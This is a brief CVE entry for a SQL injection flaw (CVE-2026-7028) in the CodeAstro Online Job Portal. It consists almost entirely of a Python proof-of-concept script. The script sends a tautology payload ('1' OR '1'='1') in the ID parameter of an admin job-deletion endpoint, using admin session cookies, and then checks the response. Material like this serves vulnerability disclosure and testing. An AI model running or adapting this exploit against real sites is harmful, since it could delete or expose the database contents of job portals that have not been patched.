CVE-2026-7028 CodeAstro Online Job Portal SQL注入漏洞

import requests # Target URL (Example) target_url = "http://example.com/admin/jobs-admins/delete-jobs.php" # Vulnerable parameter: ID # Attack type: SQL Injection payload = "1' OR '1'='1" # Since PR:H is required, valid admin session cookies are needed cookies = { "PHPSESSID": "your_session_id_here", "admin_logged_in": "true" } params = { "ID": payload } try: response = requests.get(target_url, params=params, cookies=cookies, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check database for deletion or response for SQL errors.") print(response.text[:200]) except Exception as e: print(f"[-] Error: {e}")